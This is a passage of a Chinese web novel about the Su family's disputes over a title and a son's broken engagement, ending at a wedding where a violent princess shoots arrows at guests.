尤其在苏天翊离京后,慕容宁的心好像被割裂了一般,哪怕是她这个亲生女儿都没办法治愈她。 “你就那么喜欢薛迟吗?”慕容宁突然说着。 苏钰愣了一下,正不知道如何回答,就听慕容宁继续说着,“那就喜欢吧。” “人生一世难得有个自己喜欢的人,硬是拦着你,成了遗憾反倒要挂念一辈子。” 人生很长,人生又太短,总有太多的不得己。 是不是良缘,不是她说算的,得苏钰喜欢。 “母亲……” 苏钰意外的看着慕容宁,可能是情绪低落的关系,这几天慕容宁的情绪特别古怪。 慕容宁笑着,“我好像从来没跟你说过,我跟你父亲是怎么认识的。” 苏钰摇摇头,慕容宁和苏天翊分开时,她年龄还小。 后来,她就再没见过苏天翊,更不会在慕容宁面前提起苏天翊。 “我跟着父王进京,第一次离开草原,到那么繁华的大都市,觉得一切都是新鲜的。”慕容宁缓缓说着,脸上带着久违的笑意,似乎沉浸在过往的回忆中。 慕容宁和苏天翊认识的过程很话本,因为对京城太好奇,在驿站住下后,她晚上就偷偷遛出来逛夜市。 虽然换了大周女子的服饰,但她的五官能看出明显的不同。 剧情很老套,她先是被摊主坑了钱,然后又被京城的纨绔子弟调戏。 不知道哪里来的外族女子,还是美女,又无护卫跟着,那就是行走的肥羊。 因为文化的差异,再加上勾通困难,慕容宁都没反应过来她被调戏了。 要是反应过来,她就会亲自动手打爆对方的狗头。 这个时候苏天翊出现了,特别老套的戏码,英雄救美。 苏天翊以为的。 慕容宁是很久以后,在了解大周文化后,才意识到当初苏天翊救了她。 接下来的剧情就更老套,俊男美女的相遇,交互了姓名,开始私下见面。 西北的使团总共留京一个月,她与苏天翊私下见了十几面。 使团临走之即,苏天翊请求指婚,关太后应允,成就姻缘。 “你父亲是个很好的人,对身边的人都非常温柔。”慕容宁笑着说,“我初来京城,连话都说不清楚,难为他耐着性子一点点教我。” “苏家上下也都待我极好,现在想来,在苏家那么年,是我在京城最快乐的日子。” “那……”那为什么要和离呢。 几乎要脱口而出的话,苏钰死死抿着唇。 “我与你父亲虽然婚姻不幸,但我从来没有后悔遇到他。”慕容宁说着。 人生一世,只要无悔,就可以不负当下。 怕的是以后后悔了,又没办法回头。 她反对苏钰和薛迟,是因为苏钰要是以后后悔了,她无能为力。 要是苏钰愿意承担这个后果,她不再反对。 “母亲……” 苏钰感伤之中带着纠结,她和薛迟这段理不清的感觉,她都不知道如何是好。 但慕容宁的话,确实让她松口气。 她并不想忤逆慕容宁,不管怎么样,慕容宁不再反对,她都是高兴的。 母女俩正说着私房话,就有婆子在外间说着,“王妃,周大太太带着周三姑娘来了。” 慕容宁并不想见客,但想到事关秦昊的亲事,起身说着,“请客人花厅稍坐。” 小丫头侍侯更衣,慕容宁起身去了花厅。 苏钰懒得回房,趁着春光正好时,去了王府花园。 花厅里,周大太太和周三姑娘坐着,都有些紧张。 对于这位楚王妃,要说不怕是假的。 但怕归怕,慕容宁从来没对普通女子做过什么事,宅斗更是从来没有过。 楚王爷向来把慕容宁的话当圣旨,她说给秦昊定周家姑娘,第二天楚王爷就派管事给周家传了话。 周家大老爷听到管事传话时,很是高兴,周家在京城勋贵圈里属于中等偏上。 跟关家,苏家这种等级门第比,肯定没得比,比一般勋贵还是强的多。 只是家风稳键,行事低调,显得有点小透明。 中等勋贵人家里出个亲王嫡妃,是件大喜事,比如楚王爷的前王妃。 现在周家女又能嫁进楚王爷,成为亲王嫡妃,尤其是秦昊不管长相还是性格都不错,自家姑娘并不委屈。 周大老爷当场就答应了,回后院跟周大太太说起来时,周大太太却犹豫了。 不是对婚事不满意,而是担心楚王爷私自做主。 本来就是亲戚,楚王爷有多不靠谱,都是知道的。 慕容宁就是被禁足了,那也比楚王爷有份量,秦昊的婚事,只怕得她点头才作数。 周大太太既担忧女儿丢了好婚事,又担心楚王爷会错了慕容宁的意,索性带着女儿过来亲自询问。 要是慕容宁答应亲事,婚事就可以敲定了。 “姑娘。”绿川拿着贴子寻到苏钰,“关公子派人送来的喜贴。” “子烨?”苏钰顺手接过来。 关子烨的喜贴,去年定亲,十日后成亲。 第120章 第 120 章 关子烨成亲,苏钰…… 关子烨成亲, 苏钰肯定要去的。 慕容宁被禁足,就是不被禁足,她也不可能参加关子烨的婚礼。 苏钰决定回国公府,与关氏同路。 未婚女子不好单独去, 尤其是她与关子烨私交甚好, 还说过亲事。 与慕容宁说明原由, 苏钰坐车回苏家。 因为离二门近, 苏钰先去前书房探望苏越,刚进院子就听屋里传来关氏近乎崩溃的哭喊声, “我都是为了谁啊。” 苏钰没想到会有这么一出,顿时停住了脚步。偏偏守门口的婆子己经看到她,高声往屋里传话,“大姑娘来了……” 苏钰只觉得头皮发麻,要是婆子没喊这一声, 她还可以马上退出去,当做自己没来过。 现在婆子喊的那么大声音,硬着头皮也得进去。 脚步放慢, 给足关氏整理的时间, 苏钰这才进到屋里。 苏越床上半坐着, 关氏在床边椅子上坐着,眼圈红红的, 整个人显得憔悴了许多。 “大姐姐来了。”苏越勉强招呼着。 苏钰更勉强, “我刚从王府回来,来看看你的伤势,好些了吗?” “好多了,劳烦姐姐挂念。”苏越说着。 苏钰笑着说,“那你好好歇着, 我就回……” “大姑娘。”关氏突然开口,红着眼圈叫住苏钰,“都是一家人,我也没什么好隐瞒的。刚才越哥儿跟我说,他不想跟灵灵成亲,要把亲事退掉。” 苏钰不知道该说什么好,在她看来,苏越想退掉与关灵灵的婚事是正确的,坚持成亲的关氏有些固执。 “还有一件事,大姑娘只怕还不知道。”关氏继续说着,“老太爷决定把侯府的爵位给二房,让二老爷承爵。” “啊?” 苏钰愣住了,爵位传承越过儿子给侄子,这确实很离谱。 但放到苏震岳身上,又觉得很合理。 毕竟一直跟着苏震岳出生入死的是苏天华,苏天佑是文官,苏越也要考科举,走文官的路子,世袭武爵显得很没必要。 怪不得关氏如此憔悴,三房丢了爵位,苏越要退亲,这双重打击。 “还有苏天佑,也要跟我和离。这个家,是容不下我了。”关氏哭泣说着。 她来找苏越,不止是想得到安慰,更想得到支撑。 她希望苏越站在她这边,跟苏天佑据理力争,母亲无过错,凭什么休妻。 更希望苏越去找苏震岳,表示他想要爵位,就是依然不行,苏越至少也该表个态。 结果,苏越告诉她,他想跟关灵灵退婚。 苏钰呆滞在当场,好一会才说着,“三叔惹三太太生气,我替他向您赔不是。这都是气话,千万别往心里去。” 都这个岁数了,苏天佑要是想与关氏和离,早就和离了。 会这时候提出和离,估计是因为爵位传承,以及苏越的婚事,与自身感情并不相关。 只要这两件事顺了苏天佑的意,他不会和离。 但要是这两件事,关氏依然跟苏天佑唱对台戏,苏天佑会不会和离就真的不好说了。 这么多年了,不管夫妻闹成什么样,苏天佑都没提过和离。 早就夫妻不和,选择了凑和过,没把和离挂在嘴边的人,突然提出要和离时,多半是真打算离了。 “我到底哪里对不起他。”关氏说到伤心处,几乎要放声大哭。 这个他,不止是苏天佑,更多的是苏越。 丈夫那样就算了,她对苏天佑早就失望了。 而苏越,她亲手养大的儿子,人生全部的指望, 也来挖她的心,这一瞬间是真的万念俱灰。 她这一生,到底活了个什么。 “母亲……” 苏越见关氏哭的伤心,下意识就想说,不退亲了。 但又想到将来真娶了关灵灵,与关灵灵那么相处一辈子,自己难受,也耽搁了关灵灵。 以前总是不想关氏伤心,始终压抑着自己。这回既然开了这个口,就不想再改口。 苏钰见关氏哭的伤心,心情也是复杂,偏偏这三件事她都不知道该怎么劝关氏。 苏天佑和关氏不和不是一天两天了,苏越不想娶关灵灵全家都知道。 至于爵位传承,谁能劝的动苏震岳。 终于,关氏哭累了,苏钰赶紧唤来婆子打水,丫头们侍侯着关氏洗了脸。 关氏止了眼泪,神情却憔悴至极,似乎连站起身的力气都没有了。 苏钰担心她,本想亲自送她回玉粹堂,关氏却是摇摇头,大哭了一场,情绪理智恢复了一些,“让大姑娘笑话了。” “三太太快别这么说,都是一家人。”苏钰说着。 与关氏一府同住了这么久,她也希望关氏过的好,只是眼前这三件事情,没一个是她能插嘴的。 洪婆子扶着关氏上车回了玉粹堂,苏钰却没走,对苏越说着,“老太爷写折子了吗?” 爵位传承要写奏折的,先是礼部审,然后皇帝批准,一年半载才能敲定。 绝大多数有爵位的人家都是先请封世子,担心的就是万一老爹突然暴毙,儿子承爵时有不必要的麻烦。 请封世子就是把前头的手续办完,万一有意外,世子可以马上承爵,不至于手忙脚乱。 苏震岳一直以来没有请封世子,他身体强键,父子俩又不和,苏天佑是独子,承爵理所当然,没有争议反而不着急了。 没想到苏震岳没请封世子,竟然是在考虑苏天华。 想苏天华承爵,就需要苏震岳写奏折,因为是越过儿子传爵位给侄子,礼部都要讨论一阵,然后由显庆皇帝批准。 就算苏家权势滔天,这套程序走下来也得好一阵子。 “应该写了。”苏越用不确定的口吻说着。 苏震岳做事向来雷厉风行,也从来不跟小辈们商量,最多就是通知。 他既然说出来了,那肯定就做出来了。 苏钰叹口气,“你多安抚三太太,这么多事全堆上来,她难受。” 写了折子就好,一番操作,快速把事情办成。 事情敲死了,关氏就是生气失望,大局己定,也就那样了。 怕的就是磨叽,来回折腾,让关氏觉得还有机会,反而更磨人。 苏越心中十分愧疚,“是我不好,当初我就不该答应与关灵灵的婚事。” 要是他当时就拒绝了,或者早与关氏说,把婚事早点退掉,也许就不是这个结果了。 “唉,你确实不该选这个时间说要退婚。”苏钰不禁说着。 换个时间,关氏不至于如此崩溃。 苏越却是摇摇头,“母亲要我去找关老爷,也就是关灵灵的父亲,以关家之势强压父亲。” 关氏姓关,关灵灵也姓关,说起来是一家人,但多个人向苏天佑施压,就多一分胜算。 苏越本来也不想这个时候,跟关氏提退婚之事。但关氏这个要求说出来后,他实在没办法接受,就直接说了想退婚。 “啊?” 苏钰又是有一惊,实在没想到关氏竟然有这种想法。 这么闹下去,是要撕破脸啊。 “我会好好劝母亲,自己家的家务事,哪能让外人掺和。”苏越说着。 不能承爵,失去了大好前程,他也是有些失落的。 但要是因为一个爵位,就闹得鸡犬不宁,还让关家掺和进来,他情愿不要爵位。 苏钰有些担忧,关氏精神崩溃,很容易做出不理智的事,“三P.M. 獨.傢.癥.蠡妹没回来吗?” 出了这么大的事,她应该回来照顾关氏的。 “贺二太太病重,三姐回贺家了。”苏越说着。 苏玫不想回的,但婆母病重,儿媳妇再怎么样也得在病床前站一会。 “这样啊。”苏钰说着,贺二太太估计是病的不轻,赶到这个时候,也是巧了。 “你别想太多了,家中事情自有长辈们料理,好好歇着,养好伤再说。” 苏越道:“我会的。” 又说几句,苏钰才起身回了听雨轩。 本来这趟回来是想跟着关氏一起,参加关子烨婚礼的。 哪里想到,这么几天功夫,家里就出了这么大的事。 “我听婆子们说,现在府里是老太太在管着。”绿川说着。 苏钰叹气道:“幸好老太太管着,不然不知道会乱成什么样。” 关氏现在绝无心力管家理事,这么三件事压下去,换谁都得崩一会。 “那关公子的婚礼……”绿川说着。 苏钰道:“一会派个婆子去叶府,给二婶说一声,当天我与她同去。” 未婚女性不好单独出门交际,除非是闺阁女儿的邀请,像参加婚礼这种大场合,还是要跟长辈同行的。 叶氏肯定会去,云棠估摸着也会去,她们同路也合适。 绿川应着,又把自己挑选的贺礼拿出来,让苏钰过目。 苏钰心情烦燥,大略看了看,就吩咐绿川打包装好。 “姑娘何必想太多,三房的事,你想也没用处。”绿川不禁说着。 要是其他事情,还能去劝慰几句,这么三件事叠加在一起,哪里是苏钰能管的。 “也是,想了也没用。”苏钰不禁叹气,“晚饭后去看看老太太。” 三房的事,唯一能管的就是谷夫人。 但以苏震岳对谷夫人的态度,要是谷夫人不愿意,苏震岳未必会把爵位给二房,多半是两人商议后的决定。 这个决定,真不是关氏能扭转的。 要是关氏犯糊涂,让关家参与其中,苏天佑就不是可能,而是肯定会和离。 120-130 第121章 第 121 章 “老太太,您得给…… “老太太, 您得给我母亲做主啊。” 苏玫跪在谷夫人面前,眼睛都哭肿了。 贺二太太重病,她不得不回贺家,但关氏跟苏越闹成那样, 关氏整个人都要崩溃了。 洪婆子赶紧派人给苏玫送了信, 苏玫回家前就知道苏震岳想让二房承爵之事。收到洪婆子的传信, 哪里还管贺二太太, 赶紧带着张婆子回了苏家。 关氏一直哭个不停,洪婆子讲的歪七扭八, 苏玫知道了个大概。 苏玫心里也很慌,是她建议苏越跟关氏说退亲的,结果苏越在这个时候说,那就是火上浇油。 她没主意,还是张婆子说, 不如去求求谷夫人。 这事也就是谷夫人能管。 “难为你一片孝心。”谷夫人叹气说着,对刘顺家的使了个眼色。 刘顺家的上前欲扶起苏玫,苏玫却执意不肯起来, “老太太若是不答应, 我就跪死在这里。” 谷夫人看着苏玫, 心情复杂,挥手让刘顺家的退下, 任由苏玫跪着, 说,“你要我答应什么。是爵位不给二房?还是越哥儿一定要娶关家女?” “若是这两件事,你别说跪死在这里,就是吊死在这里,也改变不了。” 苏玫怔在当场, 在她的印象里,谷夫人是很温柔的,尤其是对晚辈。 但如此温柔的谷夫人,就温温柔柔的说着如此无情的话。 而且此时此刻,谷夫人给她的感觉人,她不是嘴上说说,是真的做的出来。 谷夫人看着发怔的苏玫,继续说着,“你是越哥儿的亲姐,肯定是希望越哥儿好。以苏家如今的权势,苏越能不能中进士,根本就不影响他走仕途。” 科举名次当然重要,想当年苏天翊考状元,苏天佑中榜眼,对于当时他们的人生确实有很大的提高。 叶峰己出继,他中状元,苏家虽然也荣光,但更多的是光耀了叶家的门楣。 而到苏越这里,因为祖父,伯父,父亲,己经铺下了通天大路,进士名次反而没那么重要。 至少没有重要到,让苏越当成人生目标去实现。 “今年朝堂变动,死了那么多人,流了那么多血。你出身苏家,嫁的夫婿贺英也是极其机敏之人,难道你就没有一丁点感觉吗。”谷夫人继续说着。 苏玫怔怔听着,却突然明白了。 从去年年底到今年年初的变动,她当然有感觉。 贺英都吓得瑟瑟发抖了,好几次说幸庆。 幸庆自己这个探花还在翰林院里,出仕了,却没有正式出仕。 要是刚出仕,脚刚跨出去就站错队,就算保住性命,这辈子也完了。 “与关家的联姻纯粹多余,关灵灵的父母能给越哥儿提供什么,上关家的学堂吗?”谷夫人说着。 “以现在苏家与关家的关系,这门亲事只会毁了苏越的前程。” 幸运的是,苏家孩子少。 要是苏家人口多,像关家那样,同辈的男丁有上百人。 娶了政敌女儿的儿子,己经废了。 儿子太多,废一个儿子根本就不在乎。 “你母亲也出身名门,不是小门小户出来的,眼晴不该只盯着后宅那一亩三分地。读书考功名,娶娘家侄女,那是普通甚至落魄世家才做的,不是我们这种人家的行事。”谷夫人说着。 就像苏邑娶程采蓝,叶氏和苏天华都乐于成全。 看着小辈们真心相爱,不忍拆散是一部分原因。 再就是,不给苏邑娶自己喜欢的,非得给他挑个门当户对的。 现在的苏家,门当户对的只有关家。 程家是小门小户,但对苏家,京城大部分世家也是小门小户,差不了多少。 再不然就是公主郡主,就显得没必要。 不需要公主郡主的权势加成,就不想侍侯公主儿媳妇。 如此一席话,苏玫听得背脊发冷。 谷夫人依然温温柔柔,看不出任何攻击性,只是她看向苏玫时,苏玫觉得很紧张。 她从来不知道,她的祖母,能给她这强的压迫感。 “我,孙女知道了。”苏玫说着,没了刚才哭闹的气势,说话甚至有些结巴。 谷夫人看向苏玫,“知道什么了?” 苏玫低下头,“母亲身体不适,我想带着母亲去莲花庵静养一阵子。” 谷夫人点点头,“好好照顾你母亲。” 第二天早饭后,苏玫带着关氏去莲花庵,理由是去上香,给苏越祈福。 关氏并不想去,架不住苏玫坚持,连哄带骗的把关氏带走了。 消息传到听雨轩,苏钰有些意外,没想到苏玫如此果断,“也挺好,去莲花庵小住,等事情完了再回来。” 事情敲定后,关氏死心,也就不折腾了。 苏天佑不用休妻,夫妻关系也许会更不好,但至少还能凑和过下去。 女儿己经出嫁,儿子就要成亲,这个时候和离,大家都难堪。 次日早上,二房的东西陆陆续续往国公府搬。 早在直隶时,叶氏就给关氏说过,要搬回来住,关氏早就吩咐人把二房的住所收拾出来。 因为苏邑要娶程采蓝之事,叶氏心知关氏不喜,本不想搬回来的。 但苏家儿子娶亲,总不好把儿媳妇娶到外公家。更重要的,苏震岳己经决定把爵位给苏天华,靖北侯世子,不好再住在叶家。 七天后,二房的住处铺阵摆设全部收拾好,二房众人正式搬回苏家。 晚饭摆在后花园,谷夫人还特意派人喊来了杨云娘和程采蓝母女。 一家人吃吃饭饭有说有笑,只有三房,苏天佑虽然与苏天华一起坐着,神情却带着几分没落。 谁不想夫妻和睦,儿女绕膝,到最后他依然是孤家寡人。 酒过三巡,菜过五味,散场各自回去时,苏天华慢了一步,与苏天佑同行。 苏天佑多喝了几杯,走的时候脚步有些不稳。 “老三……”苏天华扶住苏天佑,欲言又止。 苏天佑似乎要知道苏天华说什么,“二哥,你比我合适,靖北侯是武爵。父亲跟我说时,我没有丝毫勉强。” “我知道。”苏天华说着,从小一起长大的兄弟,他深知苏天佑的性情。 他也知道,关氏与苏天佑闹的不可开胶,苏玫带着关氏去莲花庵小住。 苏震岳挣下来的爵位,应该是苏天佑的。 在苏震岳跟他说些事时,他拒绝了,以他现在的战功,有没有爵位差别不大。 苏震岳却很坚持,最后两人议定,苏天华承爵。到分家产时,二房拿出所得的三分之一给三房。 以苏家目前的家产数目,三分之一也十分可观。 “二哥,我很羡慕你。”苏天佑突然说着,有感而发。 娶了心爱的女子,生了三个孩子。 因为苏辰丢了,跟叶氏打的最厉害的时候,夫妻感情依然很好。 现在苏辰找回来了,二房圆满了。 一切都那么幸福,真好。 “家家有本难念的经。”苏天华说着,“别想太多。” 玄学上讲,求缺不求圆,那是因为世人难圆满,总会有遗憾。 “我时常会想,要是当时我再坚持一点,直接离开京城,是不是结果就会不一样。”苏天佑说着。 当年苏震岳跑了,丢下年幼的苏天佑与谷夫人,给他们带来了极大的痛苦,这份伤痛直到现在,想起来依然会隐陷作痛。 所以当年他亲自去找关氏,不得己结婚后,也极力去爱关氏,就是没想过跑。 而十几年后的今天,他竟然后悔了,他当时就应该离京,跑到关氏找不到的地方,这门亲事也就成不了。 一时之痛,与十几年,甚至几十年之痛,长痛不如短痛。 “别说傻话了,想想玫姐儿和越哥儿,还有孩子。”苏天华说着。 关氏再不好,她是苏玫和苏越的亲生母亲。 “呵,真好笑,因为被父亲抛弃了。少年时我还立过誓,将来一定要当一个好父亲。”苏天佑自嘲说着。 他不是好父亲,哪怕苏玫跟他和解了,苏越没跟他闹过。 没有足够的关心,自然换不来想要的亲子关系。 婚姻也好,子女也好,他都很失败。 “那就从现在开始,好好对他们。”苏天华说着,“人这一生总是有遗憾,趁着还能做些什么的时候,就努力去弥补。” “我会的。”苏天佑说着,“拉着二哥说了这么多,时候不早了,我们都回去歇着吧。” “嗯。”苏天华应着,担心苏天佑喝多了,路上摔跌,唤来婆子送他回去。 苏钰回到听雨轩,席上喝了酒,刚吩咐婆子准备水要洗澡,绿川拿着信过来。 “大爷的小厮拿来的。”绿川把信奉给苏钰。 苏钰接过来,脸上带着几分喜色,“他现在倒是会写信了。” 绿川有些不解,“姑娘与薛大爷一直有通信啊。” 两年的笔友,写的信多了去了。 “他不是。”苏钰说着,因为心情太矛盾,这个秘密,她连绿川都没说。 “啊?”绿川有点没反应过来。 苏钰道:“我认错人了,他不是笔友,只是恰巧出现在那里。” 这个误会发也不知道是幸还是不幸。 “那,那姑娘……”绿川下意识说着。 薛迟不是笔友,那苏钰为何与他交往。 “我喜欢他。”苏钰说着。 拆开信,完全不出所料的公文体。 内容简单明了,约她后天见面。 苏钰皱眉,薛迟说过会解决与昭华公主的婚约,苏略也认为他可以解决。 但眼前到底还没有解决,上一次与薛迟去打猎,叫了一群人一起,去的又是郊外。 现在约她品花楼单独见面,那就不好见了。 她虽然不在乎外人的眼光,但跟还有婚约的男人见面,还是要顾忌一下的。 让绿川研磨,苏钰提笔就写了两个字,“不见。” 封好信,苏钰交给绿川,“让小厮送过去,连夜送。” “是。”绿川不敢怠慢,赶紧去了。 第122章 第 122 章 到了关子烨成亲当…… 到了关子烨成亲当日, 苏钰睡了一个懒觉,磨磨蹭蹭的从床上起来。 梳洗吃饭,直到叶氏派婆子过来传话,一柱香后二门出发, 苏钰这才梳妆。 因为是喜宴, 不能穿的素净。太简单了也不行, 好友成亲, 不能太随便。 “二婶带着辰姐儿一起出席,你跟着我也要留心些。”苏钰叮嘱绿川。 二房早向京城亲友发了贴子, 告知众人苏辰寻回来了。 还没到正式宴客的日期,叶氏先带着云棠出门亮个相,当做实习了。 以苏家现在的地位,就是云棠的身世瞒不住,一般的贵妇不敢说什么。 但今天是关子烨成亲, 昭华公主肯定会出现。 关子烨在关家年轻一代里很受重视,连亲事都是关楚河给他选的。 本就是亲戚,与薛迟定亲后, 昭华公主得意的快上天了, 有机会张扬肯定不会放过。 上回在皇宫吃席, 都能搞出那么一出,这回在关家, 昭华公主的主场, 什么事情都有可能发生。 她素来不怕这些,只是云棠初来乍到,只怕还没见过这样的世面。 “姑娘就放心吧。”绿川笑着说。 苏钰穿戴妥当准时到二门,叶氏带着云棠来了。 云棠格外装扮了一番,淡蓝色的罗裙, 看似简约却不简单,裙摆绣工精致,银线细细勾勒着,在阳光下闪烁着微微光芒。 腰间系着一条浅色丝带,恰到好处地勾勒出她纤细的腰肢。 长发挽髻,插着半套宝石头面,耳垂上挂着一对红宝石耳坠,随着她的动作轻轻摇曳。 美貌得宜,温婉典雅,很趁云棠的气质。 虽然气质上有差别,只论长相,她与苏邑说是双胞胎,不会有人怀疑。 三人同乘一车,车驾驶出二门,云棠面上不显,眼中却闪烁着紧张。 苏钰笑着道:“辰姐儿不用担心,你只要站在那里,等别人来讨好就可以了。” 这就是权势的重要性,权势滔天不惧任何八卦流言。 云棠过往的那些事,私底下议论肯定有,这个嘴捂不上,但没人敢到云棠同前乱说话。 只要不是说到眼前,就是无事发生。 “嗯。”云棠笑着点点头。 她确实很紧张,第一次跟着叶氏出门,很担心会出丑,给苏家蒙羞。 而且,关楚河多半会出现。 车驾很快停了下来,叶氏带着苏钰,云棠下车,关太太己经在二门等着。 关家的老爷多,太太也多,外人难分清楚,统称关太太。 关太太看到叶氏笑着迎了上去,就是朝堂上男人们打的满头血,贵妇们都有自己的涵养,从来都是笑咪咪的,骂人都不能吐脏字。 “怎么不见我那妹妹。”关太太笑着说。 苏震岳上了折子,要把爵位给侄子却没给儿子,京城都传遍。 关氏去了莲花庵,气的要出家,传的有鼻子有眼。 叶氏笑着说,“玫姐儿孝顺,陪着母亲去莲花庵斋戒去了。难为关太太还记得我这个妯娌,论起来都差好几房了吧。” 关太太笑的多少有点尴尬,却是道:“说起来还是二太太有福气,女儿找回来了,丈夫也要袭爵了,以后就是侯爵夫人了。” “京城这块地,最不缺的就是爵位。”叶氏笑着,“一个侯爵夫人,关太太也看在眼里,还特意拿出来说一说,也让我意外。” 针锋相对,你来我往,说话间一行人进入府邸。 关家虽然是京城第一世家,权势滔天,但人口实在太多,单说个人住宿质量,跟人少的苏家没得比。 关子烨是四房长子,又受重视,他的新房在小辈里格外宽敞,东侧一所大跨院,二十几间房舍。 还不到迎亲时间,大跨院热闹非凡,亲友们能来的都来了。 关子烨的朋友也多,今天成亲,自然要来道喜。 关太太引着叶氏,苏钰,叶棠进来时,里面热闹非凡,关子烨衣服还没换好,正跟好友们玩闹。 玩闹间,一个年轻男子后退时,一个不留心差点撞到刚进门的云棠。 苏钰眼疾手快,把云棠拉到一边。云棠吓了一跳,叶氏赶紧扶住她。 “抱歉,抱歉,冲撞了姑娘。”年轻男子一脸歉意说着。 “不要紧,公子不用放在心上。”云棠说着。 关太太笑着介绍,“这是承安伯家的公子,夏书礼。这位是苏家二太太,苏大姑娘,苏二姑娘。” 夏书礼一脸惊讶,又向叶氏和云棠陪罪,相比刚才的态度,这回真诚多了。 这可是苏家人,尤其是云棠,刚刚寻回来的苏家小姐,待字闺中,还没定亲事。 虽然京城有关于这位苏二小姐的流言,但成为苏家女婿的诱惑力更大。 一段小插曲,叶氏并不当回事,倒是夏书礼十分殷勤。 宾客众多,关太太忙着招呼客人,叶氏带着云棠交际应酬。 趁着这个空档,苏钰笑着对关子烨说,“今天是新郎官,也不庄重些。” 关子烨看到苏钰,眼中隐约闪过一丝什么,很快就消失不见了,笑着说,“难为你还知道有我这个朋友,约你那么多次,总是推托。我还以为,你今天也不来了。” 关楚河安排他与周家小姐定亲时,他就知道这辈子与苏钰无缘了。 只是今天成亲,再见苏钰,心情难免起伏。 以目前关家与苏家的关系,无缘,也是好事。 “我前阵子都不在京城。”苏钰笑着说,“恭喜。” 多年旧友,闲聊着叙了几句旧。 未婚男女可以交朋友,有一方己婚,或者都己婚了,就要保持距离。 这回再见,虽然不是最后一次,以后再见面身份不同,说话就不能太随性。 估摸着时间差不多了,苏钰便笑着道:“新郎官该去准备了。” 关子烨笑着,朝苏钰挥挥手,“我过去了。” 转身进屋时,原本起伏的心情也慢慢平伏下来。出生世家,享受着世家尊荣,也代表着身上背负的责任。 现在成了亲,该担的责任就要担起来。 迎亲拜堂入洞房,一系列流程走完,接下来就是吃席。 喜宴摆在后花园,苏钰与众人一起,跟着关太太去了后花园的宴席处。 关家的花园不小,来不及欣赏园中景色,就见花园正中的位置,却是成了打靶场。 一个小丫头哆嗦着站在靶子前,头上顶着一个苹果。 昭华公主拉弓射箭,试图瞄准苹果。 “抖什么抖,都要瞄不准目标了。”昭华公主怒声骂着。 小丫头早就吓得三魂丢七魄,又被昭华公主这样呵斥,顿时哇的一声哭出来,整个人瘫倒在地上。 昭华公主顿时大怒,“大胆贱婢,来人,给我拖出去打死。” 关家下人面面相觑,不知道该怎么办,府里少爷结婚,出了人命算是怎么回事。 关家下人没动,公主出行是带着护卫的。 两个护卫上前,拖着瘫在地上小丫头,就往外走。 “我再也不敢了,再也不敢了。”小丫头连声求饶着,哭喊的声音越发大了。 护卫哪里理会,拖着小丫头到外头角门处,抄起棍子就往小丫头身上招呼。 哭喊声震耳欲聋,一时间跟随在昭华公主身侧,经常挑拨离间,嚼舌根,拍马屁的贵女们也有些害怕。 未出阁的女孩,就是脾气大些,对待下人也就是打打板子,不会动辄取人性命。 像昭华公主这样,先是让小丫头顶苹果射箭,现在直接拖出去打死,也都是第一次见,心里都怕了,哪里敢上前。 尤其是关倩倩,嫁薛迟没希望了,她把目标转移到三皇子身上。 为了有机会见到三皇子,这些日子以来她一直给昭华公主当跟班。以前的昭华公主是脾气大些,现在是一言不合就要杀人,特别暴虐。 关倩倩这个跟班当的害怕,眼下的情况,必须得转移昭华公主的注意力,总不能真在关子烨的婚礼上闹出人命。 焦虑之时,抬头看到与众人一起的苏钰。 “公主,苏钰来了。”关倩倩说着。 情敌见面,分外眼红,昭华公主把注意力放在苏钰身上,也就不会跟一个小丫头计较了。 昭华公主抬头看到苏钰,神情顿时变了,几乎是下意识的提起弓箭,抽出一根箭矢,都没怎么瞄准就朝着苏钰射去。 苏钰此时正跟一群贵女一起,众人挨的很近,配上昭华公主箭法奇差,冲着苏钰的箭矢,直冲着关太太面门而去。 “啊!!”关太太一声惊叫,几乎要吓得跌坐在地上。 只见箭矢停离关太太面颊几分公处,苏钰一只手牢牢抓住箭矢。 虽然是死里逃生,惊吓过度的关太太翻着白眼晕了过去。 “太太,太太……” 婆子扶起关太太,在场的女眷们哪里见过这个场面,场面顿时乱成一团。 苏钰把箭矢握在手里,面沉如水,看着不远处的昭华公主。 幸好她反应机敏,动作够快,不然只怕关太太要当场暴头。 这可是关子烨的婚礼,这么多人在这里,昭华公主公然动手,这是疯了吗。 “苏钰,见到本宫还不下跪。” 一箭失手,昭华公主越发愤怒,指着苏钰怒声骂着。 苏钰冷笑一声,掂着手里的箭矢,没用弓,像投壶一般朝着昭华公主掷去。 箭矢破空,侍卫根本就来不及反应。 只见箭矢划过昭华公主左边鬓发,直入昭华公主身后的大树中。 死亡的恐惧让昭华公主本能的全身发抖,却是怒声吼着,“苏钰,刺杀本宫,你想造反吗?” 苏钰气笑了,“那你去衙门告我吧。” 第123章 第 123 章 昭华公主何时吃过…… 昭华公主何时吃过这种亏, 本就是怒火中烧,此时全然顾不得,对身边侍卫呵斥着,“你们都是死的吗, 这等叛臣贼子, 给我拿下。” 八个侍卫, 两个去角门仗打小丫头, 还剩下六个。 六个侍卫面面相觑,有些怕了。 打死一个小丫头没什么, 但对面的可是苏钰,先不说惹她是什么后果,就刚才那一手功夫,挺有震慑力的。 “我杀了你。” 昭华公主见侍卫没动,越发恼怒, 抽出箭矢,再次举弓,就朝苏钰射来。 苏钰并不在意, 就昭华公主这样的箭法, 再练一百年都想沾到她的衣裳。 不过, 这种场合,昭华公主这疯发的有点大。 感觉以前的她只是无脑, 脾气大, 而不像现在这样,感觉神智不太正常。 昭华公主拉弓射箭,不等箭矢射出,一只手伸了出来,直接昭华公主手里的弓箭夺了过来。 “谁敢……” 昭华公主大怒吼着, 回头看到来者时,下面的话不自觉得打住了。 原本乱成一团的女眷们,好像找到主心骨似的,也都安不下心来,不再四处跑动。 关楚河来了。 “公主喝醉了。”关楚河声音冰冷,“送公主回宫。” 昭华公主脸上浮起一抹不甘心,但眼前的关楚河,也让她害怕。 毕竟连关贵妃对这个堂弟,都十分忌惮。 身为关家的当家人,他的手腕能力,关太后都要赞叹一声。 “我,我不要回去。”昭华公主说着,声音却低了下来,虽然带着倔强,气势却是没了。 关楚河并不理会,朗声说着,“恭送公主。” 随着这一声,并不想走的昭华公主被架住了手脚,动手的虽然是婆子,手法却十分巧妙,让昭华公主反抗不得。 闹剧终于结束,晕倒的关太太己经醒过来,顶着不适招呼众人入席。 参加宴席的女眷们回过魂来,跟着入席之时,却不禁小声议论着。 昭华公主刁蛮任性,打杀奴才之事不是秘密,但今天关子烨成亲,亲舅家的大喜事,她如此闹腾,甚至搞出人命。 昭华公主莫不是疯了。 “多谢关大人解围。”苏钰向关楚河道谢。 虽然是关子烨的婚礼,昭华公主闹事砸的是关家的场子。 